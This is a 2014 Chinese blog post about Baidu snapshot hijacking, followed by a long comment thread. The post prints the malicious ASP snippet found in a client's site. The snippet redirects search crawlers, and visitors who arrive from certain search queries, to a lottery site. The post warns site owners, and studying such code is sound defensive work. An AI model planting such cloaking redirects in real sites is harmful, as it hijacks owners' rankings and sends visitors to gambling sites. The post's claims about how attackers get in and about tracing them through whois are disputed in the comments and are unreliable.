卢松松博客

百度快照是如何被黑客篡改的

 人参与 | 时间:2014年11月22日 08:19

写本篇文章的目的在于揭露一种黑客作弊的手段,也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法。

百度快照是如何被黑客篡改的 经验心得 第1张

前几日,我的客户电话说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)

百度快照是如何被黑客篡改的 经验心得 第2张

查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。

百度快照是如何被黑客篡改的 经验心得 第3张

1、黑客是如何修改百度快照的呢?

我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。

路径:Inc文件夹—SysProduct.asp文件里面最底下添加了如下代码:

百度快照是如何被黑客篡改的 经验心得 第4张

<%

function Getbot()

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT")

if instr(1,s_agent,"googlebot",1) > 0 then

GetBot="google"

end if

if instr(1,s_agent,"baiduspider",1) > 0 then

GetBot="baidu"

end if

end function

if GetBot="baidu" or GetBot="google" then

'

Response.Redirect "http://*********"(跳转的网站,引导百度抓取的内容)

else

'

Response.Write"<script type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';(目标网站)window.adworkergo='ad_app6'}else{}</script>"

end if

%>

黑客设置的这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。

2、那么黑客是如何进入后台的呢?

黑客要进入后台,必须知道FTP账户和密码,以及IP地址。

造成的原因有如下几种:

1)一方面是FTP密码设置的时候比较简单化,很容易被利用软件破解掉,

2)另一方面选择便宜的空间也是一种隐患。因为空间IP以及用户名是很难被知道的,除非有人提供。

3、网站被黑之后,你如何追查黑客的来源?

方法比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。

如果是比较大型的网站利用外包的方式进行推广,那么你也可以得知负责人,给百度或者是网络警察举报一下,该网站存在恶意攻击修改内容的行为,毕竟它也有一定得责任。

通过中国万网Whois域名查询:比如我客户跳转的彩票网站的域名信息如下:

百度快照是如何被黑客篡改的 经验心得 第5张

1)第一个是:注册人

2)第二个是:联系电话

3)第三个是:联系邮箱

基本上你联系注册人就可以解决问题。如果对你客户造成的损失太大的话,建议你通过以下方式进行维权:

违法和不良信息举报中心:http://net.china.cn/

12321网络不良与垃圾信息举报受理中心:http://www.12321.cn/

国家互联网应急中心网络安全举报中心:http://www.cert.org.cn/

中国反钓鱼网站联盟认定及处理流程: http://www.cnnic.cn/

公安部信息网络安全报警网站:http://www.cyberpolice.cn/wfjb/

中国扫黄打非网:http://www.shdf.gov.cn/

北京市公安局网络违法犯罪举报网站:http://www.bj.cyberpolice.cn/index.jsp

希望本篇文章对你防黑有帮助。

感谢【网牛天下】的精彩分享

为价值买单(第四期):

如您觉得本文对您有价值,可自愿为本文作者打赏,金额随意,1元不嫌少,100不嫌多,您的打赏会直接进入作者支付宝帐户,也会激励作者创造出更优秀的内容。

支付宝账户:18813930880 (*燕东) (留言备注:卢松松博客打赏)

相关阅读:百度官方:网站快照的更新频率与权重没任何关系

顶: 1踩: 0

来源:,欢迎分享,(QQ/微信:13340454)

原文地址:http://lusongsong.com/reed/1231.html

必填

选填

选填

◎已有 164 人评论,微信搜:QQ13340454

1楼米粒博客  2016-04-18 16:26:02
也是醉了 这些王八蛋
顶: 0踩: 0 回复
2楼南宇博客  2015-10-26 20:54:33
被插入跳转代码了......
顶: 0踩: 0 回复
3楼淘抢购  2015-08-22 20:14:10
我做的是全静态的,嘻嘻。
顶: 0踩: 0 回复
4楼妹子最多的大学排行  2015-07-12 23:15:04
动态页面都容易被黑,所以当时给公司做网站的时候,我做的是全静态的,嘻嘻。
顶: 0踩: 0 回复
5楼骆驼之  2015-06-10 13:35:34
辛辛苦苦做的排名,几天就掉了,真不舒服,这篇文章专业性很强,赞一下,关注梁山挂车www.guache6.com
顶: 0踩: 0 回复
6楼它们值得买  2015-01-15 10:12:35
买好点的比如 西部数码会出现这样的情况吗?
顶: 0踩: 0 回复
7楼苍月  2014-12-12 17:12:48
维权链接汇总,这个真心赞!!
顶: 0踩: 0 回复
8楼徐州网站建设  2014-12-12 13:08:46
网站安全很重要呀!
顶: 0踩: 0 回复
9楼滑雪100  2014-12-09 13:48:21
可以用阿里云,好一些。另外注意cms的原生缺陷
顶: 0踩: 0 回复
10楼婚纱网站模版  2014-12-06 10:54:49
我的织梦的 被黑了几次了。有没有朋友 有什么好的办法。这系统老被黑
顶: 0踩: 0 回复
11楼小菜鸟  2014-12-04 12:07:41
注意注意,文章多处技术性错误,而且分析不独到,认知太短浅,狂喷
顶: 0踩: 0 回复
12楼小菜鸟  2014-12-04 12:05:34
whois会是真实的吗?跳转的域名会是自己的吗?只是ftp被泄露了吗?其实idc已经被伦了,不足为外人倒也
顶: 0踩: 0 回复
13楼塘沽热水器维修  2014-12-04 00:38:56
我朋友网站前几天被黑了,就是这种情况,谢谢分享 学习啦
顶: 0踩: 0 回复
14楼徐国祥  2014-12-03 18:27:34
这篇文章确实比较有价值!
顶: 0踩: 0 回复
15楼风尚购物  2014-11-28 10:55:27
学习了,黑客这招太狠了
顶: 0踩: 0 回复
16楼学通数学  2014-11-27 14:09:52
我们以前被黑过。。。。
顶: 0踩: 0 回复
17楼重庆二次供水  2014-11-26 23:29:07
哎 这段时间公司网站就是这样的
顶: 0踩: 0 回复
18楼重庆东大胃肠  2014-11-26 14:42:10
学到了很多!谢谢推荐!!!
顶: 0踩: 0 回复
19楼福利大学  2014-11-25 21:51:22
我一朋友最近遇见的一件事,网站被挂马,数据全被删除,网站直接指引用户下载广告软件。网站权重大概5左右,数据全被删了。可想打击有多大。
顶: 0踩: 0 回复
20楼站长说说  2014-11-25 18:58:01
以前遇到过这种情况,无论ASP还是PHP都会出现这种情况。博主说的通过域名信息追踪估计不靠谱,做这种事情的人一般都找了专门的群体来发布黑链,也就是说拥有域名的人和发布黑链的人可能不是同一个,一个负责出钱,一个负责挂黑链,绝配。
顶: 0踩: 0 回复
21楼广州seo  2014-11-25 16:14:43
这种黑客行为确实很可恨可耻,有本事就去搞国外的吗,更赚啊
顶: 0踩: 0 回复
22楼陌生的城市  2014-11-25 15:53:52
应该不单单是ftp那么简单,应该是让人拿了webshell
顶: 0踩: 0 回复
23楼cpa广告联盟  2014-11-25 12:46:53
骇客防不胜防
顶: 0踩: 0 回复
24楼中国特种装备网  2014-11-25 09:49:16
很可恨的行为!之前我们网站也有客户遇到过。他们在我们网站上投放广告,链的是他们的官网,结果发现他们的官网被黑客攻击了。这样对我们网站的影响大不大呢?
顶: 0踩: 0 回复
25楼重庆滤油机  2014-11-24 23:36:47
学习下,以防万一。
顶: 0踩: 0 回复
26楼muzifeng  2014-11-24 23:15:09
骇客防不胜防
顶: 0踩: 0 回复
27楼龙三公子  2014-11-24 19:59:08
如果不是网站有漏洞,一般来说就是FTP信息等被盗了吧
顶: 0踩: 0 回复
28楼红色风流  2014-11-24 19:25:57
好吧。我承认是有这么一拨人
顶: 0踩: 0 回复
29楼社保查询  2014-11-24 18:49:24
人在江湖 o(︶︿︶)o 唉
顶: 0踩: 0 回复
30楼吃一点五谷杂粮  2014-11-24 16:29:09
现在黑客的技术越来越牛啦
顶: 0踩: 0 回复
31楼摩登女人街  2014-11-24 14:47:18
原来是这样,看来的好好学习,不断提高
顶: 0踩: 0 回复
32楼网贷者网赚论坛  2014-11-24 13:56:52
方法比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。
顶: 0踩: 0 回复
33楼优站长网  2014-11-24 13:36:10
我之前SEO博客就被黑客攻击,底部出现很多垃圾代码,所以选择好的空间商很重要
顶: 0踩: 0 回复
34楼开智生福  2014-11-24 11:40:42
来晚了1今天你开智l么
顶: 0踩: 0 回复
35楼玛咖弟弟  2014-11-24 11:33:15
现在的人越来越黑了。确实应该多学习下,那些黑客什么的太讨厌了,有本事你去黑银行啊,做那些劫富济贫的事情赚些口碑,别净干那些被人骂祖宗的事情!
顶: 0踩: 0 回复
36楼投资移民  2014-11-24 10:12:19
哈哈哈哈,蛮不错的,确实是一个不错的方法,现在的黑客是无孔不入,重要的还是加强数据安全啊。
顶: 0踩: 0 回复
37楼百度竞价产品厂家  2014-11-24 10:11:52
完全不用FTP跟密码,直接拿shell
顶: 0踩: 0 回复
38楼克维创想  2014-11-24 09:47:00
不错,针对快照这部分是有很多问题的存在。学习了!
顶: 0踩: 0 回复
39楼广州  2014-11-24 09:34:21
文中的部分观点我不能苟同!
现在入侵人家会在意你什么ftp这些账号密码吗?
都是直接拿的shell的,别发这种没水准的分析了

顶: 0踩: 0 回复
40楼丹尼尔惠灵顿  2014-11-24 09:09:35
技术,一直都先出现在这种 色情、赌博、这种暴利行业
顶: 0踩: 0 回复
41楼快乐网  2014-11-24 03:56:44
黑客太厉害了
顶: 0踩: 0 回复
42楼CCTV  2014-11-24 00:48:21
想知道你网站IP还不容易吗?ping一下就知道了。黑客都从网站程序进行入侵的。
顶: 0踩: 0 回复
43楼LV钱包  2014-11-23 23:34:45
呵呵,朋友知道什么叫渗透吗?什么ftp密码都弱爆了,三两个口令就秒杀你个有漏洞的网站
顶: 0踩: 0 回复
44楼fdsfds  2014-11-23 23:20:01
这个还不错啊www.558zhe.com
顶: 0踩: 0 回复
45楼任丘网站制作  2014-11-23 22:29:43
支持一下 现在黑客太累了
顶: 0踩: 0 回复
46楼云天博客  2014-11-23 21:36:30
楼主这种愿意无私奉献的共享交流学习的精神确实值得我们思考和学习,在前进的路上我们需要相互的学习和帮助,云天博客 一个专注于网络营销优化和推广的多年的菜鸟博主来为楼主加油!当然楼主可以加我的QQ:1248158978共同学习交流心得。
顶: 0踩: 0 回复
47楼小木  2014-11-23 20:39:33
下载23,现在黑客太厉害了,站长不得不防啊
顶: 0踩: 0 回复
48楼汪棒棒  2014-11-23 16:26:27
这篇文章的题目坑爹了。还以为是直接入侵百度改百度快照,结果还是入侵小网站改文件。这种问题很可能是空间商服务器漏洞,检查办法很简单,查询同ip网站看有没有类似情况,有就说明是空间商的问题。
顶: 0踩: 0 回复
49楼爆破测振仪  2014-11-23 14:37:53
不是泄露了FTP帐号密码,大多是机器植入的代码。大多建站系统发布新版本后都会有更新记录,其中包括漏洞修复的说明,一些人正对这些漏洞专门制作了植入工具扫描IP段,有些还没来得及更新程序的,或者是懒得更新的,就会中招。至于asp(特别是那些企业站程序),我只想说呵呵。 爆破测振仪
顶: 0踩: 0 回复
50楼创业博客  2014-11-23 12:17:45
尼玛,我就说我的网站为什么快照总是不停的乱七八糟,现在原因清楚了

顶: 0踩: 0 回复
51楼品牌运动鞋3至6折  2014-11-23 11:15:32
寫的比較實用,支持一下!
顶: 0踩: 0 回复
52楼多梦  2014-11-23 11:14:52
不是泄露了FTP帐号密码,大多是机器植入的代码。大多建站系统发布新版本后都会有更新记录,其中包括漏洞修复的说明,一些人正对这些漏洞专门制作了植入工具扫描IP段,有些还没来得及更新程序的,或者是懒得更新的,就会中招。至于asp(特别是那些企业站程序),我只想说呵呵。
顶: 0踩: 0 回复
53楼园林资料  2014-11-23 10:44:13
这篇文章我感觉挺有用的,
顶: 0踩: 0 回复
54楼酒神  2014-11-23 10:27:26
asp的安全性本身就不高!其实最主要的还是程序的漏洞;特别是开源的程序
顶: 0踩: 0 回复
55楼多麦网  2014-11-23 10:12:07
一般的企业。根本无精力去折腾。还有。对于做非法网站的人来说,不至于傻得用自己的信息吧。。
顶: 0踩: 0 回复
56楼背包之行  2014-11-23 09:09:02
就是最好用的换IP软件 悦游VPN
顶: 0踩: 0 回复
57楼敦煌信息网  2014-11-23 08:16:34
学会了如何修改别人的网站
顶: 0踩: 0 回复
58楼敦煌信息网  2014-11-23 07:57:36
说的对。基础的安全意识应加强
顶: 0踩: 0 回复
59楼敦煌信息网  2014-11-23 07:47:36
文章写的还不错。只是结尾有点画蛇添足了。什么举报一系列的事情,有意义吗,会有人愚蠢到用自己信息?
顶: 0踩: 0 回复
60楼敦煌信息网  2014-11-23 07:39:17
一般的企业。根本无精力去折腾。还有。对于做非法网站的人来说,不至于傻得用自己的信息吧。。
顶: 0踩: 0 回复
61楼杭州八轴航拍服务  2014-11-23 06:56:41
注意用户名和密码保存,购买有实力企业空间
顶: 0踩: 0 回复
62楼网赚天下  2014-11-23 04:24:37
现在黑客真是无孔不入呀,大家也要防范。
顶: 0踩: 0 回复
62楼敦煌信息网  2014-11-23 07:57:36
说的对。基础的安全意识应加强
顶: 0踩: 0 回复
63楼朱威的博客  2014-11-23 00:49:11
加强自身网站的运营安全意识是根本。
顶: 0踩: 0 回复
64楼宝宝屋  2014-11-23 00:20:19
牛B的黑客
顶: 0踩: 0 回复
65楼古交  2014-11-22 23:59:54
评论也有好多奇葩
顶: 0踩: 0 回复
66楼元曦个人博客  2014-11-22 23:52:41
这样都可以,黑客太厉害了。
顶: 0踩: 0 回复
67楼成都逍遥网  2014-11-22 23:07:03
黑客也是一门技术活啊
顶: 0踩: 0 回复
68楼作者拉吉  2014-11-22 23:05:30
写这么一堆垃圾玩意,还打赏,你要饭的吧。
顶: 0踩: 0 回复
69楼初阳充值  2014-11-22 22:21:30
大网站,转化多的网站,一定要做好防范工作了。
顶: 0踩: 0 回复
70楼好运鞋  2014-11-22 22:20:40
黑客真是烦人,这样的事,流量大的网站要小心啊。
顶: 0踩: 0 回复
71楼野狼  2014-11-22 22:09:48
黑客要进入后台,必须知道FTP账户和密码?
难道我不会挂马么?
通过查询域名信息你可以获知该域名的归属人是谁?
你不知道Whois信息保护么?
呵呵。。
顶: 0踩: 0 回复
72楼野狼  2014-11-22 22:05:08
该你内容挂个马就行了,还用得着FTP
顶: 0踩: 0 回复
73楼铝单板幕墙  2014-11-22 21:56:04
这篇文章我感觉挺有用的,
顶: 0踩: 0 回复
74楼wingsBlog  2014-11-22 21:53:26
很有用的一篇文章
顶: 0踩: 0 回复
75楼谢斌个人博客  2014-11-22 21:38:44
防不胜防呀,大家做个站都不容易。。。
顶: 0踩: 0 回复
76楼天天淘购网  2014-11-22 20:12:53
提醒了我们注意防范 ,很好。
顶: 0踩: 0 回复
77楼QQ泡沫乐园  2014-11-22 18:33:51
唉!黑客真实万能啊!
顶: 0踩: 0 回复
78楼华汇网  2014-11-22 18:32:47
安安分分的不好吗?干嘛要黑别人的网站
顶: 0踩: 0 回复
79楼南昌装修  2014-11-22 18:23:24
黑客太复杂了 。小白不懂。只能慢慢学习
顶: 0踩: 0 回复
80楼淘宝论坛  2014-11-22 18:22:41
便宜没好货,要选择个好的主机商,以前被给黑过2次,黑客还留下了qq。这不是打劫么?
顶: 0踩: 0 回复
81楼圆月博客  2014-11-22 18:04:49
黑客就是牛逼,什么都能做
顶: 0踩: 0 回复
82楼网赚猫wzmao.com  2014-11-22 17:33:40
确实 不错,以后知道哪些地方可以进行排查了
顶: 0踩: 0 回复
83楼索取杰成竞价公开课门票  2014-11-22 17:32:34
是啊,天天都会来转转
顶: 0踩: 0 回复
84楼王语双个人网站  2014-11-22 17:31:27
真是“天下武功,无攻不破”,学习了。
顶: 0踩: 0 回复
85楼车8度  2014-11-22 17:24:00
这种很常见,现在的小网站都很好攻击的,因为就算请网络公司做的,网络公司都是在网上找的源码,所以很好进入。想学习,点我名子。
顶: 0踩: 0 回复
86楼2016影视网  2014-11-22 16:42:22
这篇文章不错,至少对我的网站安全帮助很多,希望多来这样的文章。
顶: 0踩: 0 回复
87楼夏日博客  2014-11-22 16:39:21
这种问题就应该第一时间发现,第一时间解决。。而不是等客户来电话了再去排查。
顶: 0踩: 0 回复
88楼华海电脑网  2014-11-22 16:38:23
之前我也研究呢,php的,就是判断百度域名,如果是从百度过来的就跳转,然后百度的流量就被偷了
顶: 0踩: 0 回复
89楼进口食品批发  2014-11-22 16:36:29
所以网站安全工作要做好那。
顶: 0踩: 0 回复
90楼金牌供应商  2014-11-22 16:34:09
长长见识,以前一直不知道快照是怎么被黑掉的
顶: 0踩: 0 回复
91楼  2014-11-22 16:33:52
对我现在没用,不过也仔细看了一下
顶: 0踩: 0 回复
92楼网站推广优化  2014-11-22 16:10:43
这篇文章不错,至少对我的网站安全帮助很多,希望多来这样的文章。
顶: 0踩: 0 回复
92楼索取杰成竞价公开课门票  2014-11-22 17:32:34
是啊,天天都会来转转
顶: 0踩: 0 回复
93楼微信群导航  2014-11-22 15:51:37
网络安全是个问题,域名很多都是转了几手了,查不出什么吧!
顶: 0踩: 0 回复
94楼华夏seo博客  2014-11-22 15:44:38
技术果然不断的在更新 完善
顶: 0踩: 0 回复
95楼野狼  2014-11-22 15:08:53
挂个马就行了,还用的着FTP。
顶: 0踩: 0 回复
96楼提升机  2014-11-22 14:52:18
这个是非常实用的干活,必须顶
顶: 0踩: 0 回复
97楼闲逛折扣  2014-11-22 14:33:49
未来站长或许真的要真努力了!!!
顶: 0踩: 0 回复
98楼宇成互联  2014-11-22 14:12:42
对于黑客你们是既敬佩又憎恨!多多了解一些这方面的文章,增长一些见识,挺好的!
顶: 0踩: 0 回复
99楼北京电线电缆  2014-11-22 14:08:47
这个太好了,以后就知道被黑怎么办了,谢谢分享
顶: 0踩: 0 回复
100楼沉香树  2014-11-22 13:52:46
每天多学习一点点,等着去篡别人的
顶: 0踩: 0 回复
101楼极品飞鸽  2014-11-22 13:50:21
俺们小网站也得注意别被篡改了。做个服务器和网站安全!
顶: 0踩: 0 回复
102楼地摊袜子大全  2014-11-22 13:43:29
黑客在可怕,我们这些小站长也不用担心,因为我们这些小站根本就没有什么值得他黑的,所以大家不用担心。黑客想黑百度也不止一次二次了,不是什么其它国家,就是本国的,估计他们早点想害百度了,对百度早就不满了,大家怎么看?
顶: 0踩: 0 回复
103楼深圳豫新创硅胶  2014-11-22 13:27:36
还是找好的空间服务商放心点
顶: 0踩: 0 回复
104楼福利屋  2014-11-22 13:05:04
一般人还是自己这方面防护工作做好,普通的站长哪有功夫去折腾这些
顶: 0踩: 0 回复
105楼长沙印刷公司  2014-11-22 12:41:53
这文章有点渣。。。
顶: 0踩: 0 回复
106楼宇成互联  2014-11-22 12:41:39
对的,空间的安全性是最重要的一方面,再有一方面客户要妥善保管自己的详细信息!ip被黑客知道不是一件难事!
顶: 0踩: 0 回复
107楼站博网学建站不用花一分钱  2014-11-22 12:40:10
空间安全性不高的话,很容易挂马的。
顶: 0踩: 0 回复
108楼红色大导演  2014-11-22 11:57:02
黑客真该死
顶: 0踩: 0 回复
109楼爆老师咨道  2014-11-22 11:55:31
空间ip应该很容易别人知道的,ping 一下就知道了!
主要还是系统后门太多,比如dede
有这个时间维权(浪费时间),不如找个厉害点的站长帮你调试一下后台架构。
顶: 0踩: 0 回复
110楼应聘招数  2014-11-22 11:47:36
鄙视黑客啊
顶: 0踩: 0 回复
111楼张力博客  2014-11-22 11:40:34
挺讨厌网站被篡改的,一定得注意网站安全问题!
顶: 0踩: 0 回复
112楼一品奇才  2014-11-22 11:38:16
很常见的快照劫持啊!而且大部分域名注册信息是不可能让你这样就直接查到他信息的 要不然 只能说对方太菜了
顶: 0踩: 0 回复
113楼文摘汇  2014-11-22 11:31:29
网站被攻击 的确很烦恼
顶: 0踩: 0 回复
114楼我要当大神  2014-11-22 11:20:48
买好点的比如 西部数码会出现这样的情况吗?
顶: 0踩: 0 回复
115楼会飞的鱼  2014-11-22 11:14:15
这个不是跟前几天说的黑帽SEO的手法吗?
顶: 0踩: 0 回复
116楼人托人  2014-11-22 11:03:42
垃圾,这个人有意的推卸自己的责任。他说黑客要怎么进入后台。难道就没有因为你提供给客户的cms漏洞造成的吗。
顶: 0踩: 0 回复
117楼棋牌游戏评测网  2014-11-22 11:01:01
便宜的空间被挂马正常
顶: 0踩: 0 回复
118楼次时代  2014-11-22 11:00:07
唉,文章里几处技术性错误。。。
1.改你的网站只需要有webshell就可以,不需要FTP和IP。
2.知道网站IP太容易了,最初级的黑客都知道,文中却说很难知道。
3.whois查来源,你认为一个黑客会用国内的注册商吗?即便用了 难道不会隐藏whois吗?
4.被黑绝大部分可能是你的网站存在漏洞,看下用的那套CMS,然后下载最新的补丁。有服务器操作权限的话,你下载个安全狗 也可以屏蔽多半的攻击。
顶: 0踩: 0 回复
119楼dadadihao  2014-11-22 10:52:38
不错,可以学习的,正好我的网站这几一也是被黑了。哈哈发现在松松这里投搞的文章可以引来很多流量。
顶: 0踩: 0 回复
120楼牛津布  2014-11-22 10:44:51
这种以前也遇到的。。。
顶: 0踩: 0 回复
121楼微商网  2014-11-22 10:43:45
回去好好研究下黑客了要!!!
顶: 0踩: 0 回复
122楼CIMC中集  2014-11-22 10:41:44
是嘛
顶: 0踩: 0 回复
123楼有机肥设备  2014-11-22 10:36:12
每天多维护 发现问题 及时处理就好 黑客防不胜防
顶: 0踩: 0 回复
124楼混凝土路面摊铺机  2014-11-22 10:34:11
被挂马很多的 这些人很恶心!
顶: 0踩: 0 回复
125楼湖南师范大学自考  2014-11-22 10:28:08
我读书少,你不要吓我。
顶: 0踩: 0 回复
126楼朱威的博客  2014-11-22 10:26:31
这种情况很常见,特别是一些在搜索引擎表现比较好的企业网站、政府类网站、社会团体类网站,是重点目标。一方面是这些网站技术本身就不咋地,再则长期没有人维护,也成为别人的关照对象。欢迎到我博客交流。
顶: 0踩: 0 回复
127楼稳定虚拟主机推荐  2014-11-22 10:19:36
很多程序不怎么安全 我之前的网站也被盗过DNS解析
顶: 0踩: 0 回复
128楼SEO分享  2014-11-22 10:16:27
这个算干货的分享 不错 顶一下 貌似我还是没有看明白 是怎么一回事 不过我也曾经分享过和方面的文章 讲的不一样 但是都是同一个问题
顶: 0踩: 0 回复
129楼网络帮_医院网络部大联盟  2014-11-22 10:10:44
网络帮:www.wlbnet.com 表示很牛逼,但更牛逼的是,网络帮里的黑客。
顶: 0踩: 0 回复
130楼男人吧  2014-11-22 10:10:40
很实用!
顶: 0踩: 0 回复
130楼CIMC中集  2014-11-22 10:41:44
是嘛
顶: 0踩: 0 回复
131楼淘宝网商城购物女装首页  2014-11-22 10:06:33
不错,我感觉我的网站危险了
顶: 0踩: 0 回复
132楼买宝网  2014-11-22 09:51:38
asp的漏洞太多了,都是硬伤,还是放弃吧
顶: 0踩: 0 回复
133楼阿兴博客  2014-11-22 09:49:55
挺强的黑客手段,文章分享不错
顶: 0踩: 0 回复
134楼点亮吧  2014-11-22 09:49:34
嗯,有试过网站被人加过代码,大多部是黑链或跳转页面,基本上检查下页面就能找到~
顶: 0踩: 0 回复
135楼java小强  2014-11-22 09:44:02
如果开启Whois保护了呢?
顶: 0踩: 0 回复
136楼月入5万大揭秘  2014-11-22 09:43:44
很多人关注这个黑客问题
顶: 0踩: 0 回复
137楼九块九包邮  2014-11-22 09:42:28
如果真是黑客,不可能那么简单就把信息暴露给你的
顶: 0踩: 0 回复
137楼小菜鸟  2014-12-04 12:07:41
注意注意,文章多处技术性错误,而且分析不独到,认知太短浅,狂喷
顶: 0踩: 0 回复
137楼小菜鸟  2014-12-04 12:05:34
whois会是真实的吗?跳转的域名会是自己的吗?只是ftp被泄露了吗?其实idc已经被伦了,不足为外人倒也
顶: 0踩: 0 回复
138楼月入5万大揭秘  2014-11-22 09:42:26
定期都会来看看,每天的文章很有用
顶: 0踩: 0 回复
139楼麦祖吉  2014-11-22 09:40:36
提高权重?
顶: 0踩: 0 回复
140楼麦祖吉  2014-11-22 09:40:20
赞同!
顶: 0踩: 0 回复
141楼麦祖吉  2014-11-22 09:39:29
好吧! 这样就能满足你啊!

顶: 0踩: 0 回复
142楼麦祖吉  2014-11-22 09:38:56
没用的!
顶: 0踩: 0 回复
143楼麦祖吉  2014-11-22 09:38:07
正常,攻击百度才能显示他的厉害啊!
顶: 0踩: 0 回复
144楼麦祖吉  2014-11-22 09:37:14
可以打赏,关键是这篇文章不是原创!!!
顶: 0踩: 0 回复
145楼一介布衣  2014-11-22 09:37:03
学习了.非常不错,谢谢!
顶: 0踩: 0 回复
146楼少儿绘本  2014-11-22 09:36:01
松松,高手就是高手,什么都懂,历害。。
顶: 0踩: 0 回复
147楼郑州seo  2014-11-22 09:30:14
文章很好,之前我的站也被这么搞过!
顶: 0踩: 0 回复
148楼素材  2014-11-22 09:20:55
现在用asp的网站似乎已经不多了。
顶: 0踩: 0 回复
149楼v587  2014-11-22 09:16:41
过查询域名信息你可以获知该域名的归属人是谁
顶: 0踩: 0 回复
150楼问学堂  2014-11-22 09:13:54
对我很有帮助。
顶: 0踩: 0 回复
151楼小叶紫檀手串  2014-11-22 09:13:36
涨姿势了,一点一点的学习,一点一点的进步
顶: 0踩: 0 回复
152楼买买买  2014-11-22 09:05:29
现在黑客真牛,百度都攻击 www.mai87.com
顶: 0踩: 0 回复
152楼麦祖吉  2014-11-22 09:38:07
正常,攻击百度才能显示他的厉害啊!
顶: 0踩: 0 回复
153楼油烟机保养  2014-11-22 08:59:19
报警抓他。。。。。。非法篡改
顶: 0踩: 0 回复
153楼麦祖吉  2014-11-22 09:38:56
没用的!
顶: 0踩: 0 回复
154楼德国EL莱默尔维修  2014-11-22 08:58:44
这篇文章有技术
顶: 0踩: 0 回复
155楼动感单车音乐  2014-11-22 08:58:12
后台密码被人破解了 应该!!
顶: 0踩: 0 回复
156楼跑步机保养知识  2014-11-22 08:57:22
对提高网站权重应该没有多大帮助吧!!
顶: 0踩: 0 回复
156楼月入5万大揭秘  2014-11-22 09:42:26
定期都会来看看,每天的文章很有用
顶: 0踩: 0 回复
156楼麦祖吉  2014-11-22 09:40:36
提高权重?
顶: 0踩: 0 回复
157楼健身车选购  2014-11-22 08:56:48
经常看到类似的排名被黑客篡改!
顶: 0踩: 0 回复
158楼免费部落  2014-11-22 08:49:48
学习了,其实结果不重要,重要的处理过程。
顶: 0踩: 0 回复
159楼宠物交易宠友交流宠物用品  2014-11-22 08:43:18
这篇文章实际意义不大 哎 松松要多发一些干货啊
顶: 0踩: 0 回复
159楼麦祖吉  2014-11-22 09:40:20
赞同!
顶: 0踩: 0 回复
160楼旅游茶文化  2014-11-22 08:41:57
这的确是一片好文章啊,不但能知道哪里被写代码,还能如何举报,真是不错
顶: 0踩: 0 回复
160楼月入5万大揭秘  2014-11-22 09:43:44
很多人关注这个黑客问题
顶: 0踩: 0 回复
160楼麦祖吉  2014-11-22 09:39:29
好吧! 这样就能满足你啊!

顶: 0踩: 0 回复
161楼破折君  2014-11-22 08:36:26
这也行啊。。
顶: 0踩: 0 回复
162楼小鱼网  2014-11-22 08:30:47
各有各的道
顶: 0踩: 0 回复
163楼杠杠滴  2014-11-22 08:20:32
这个配图真是现实的写照啊
顶: 0踩: 0 回复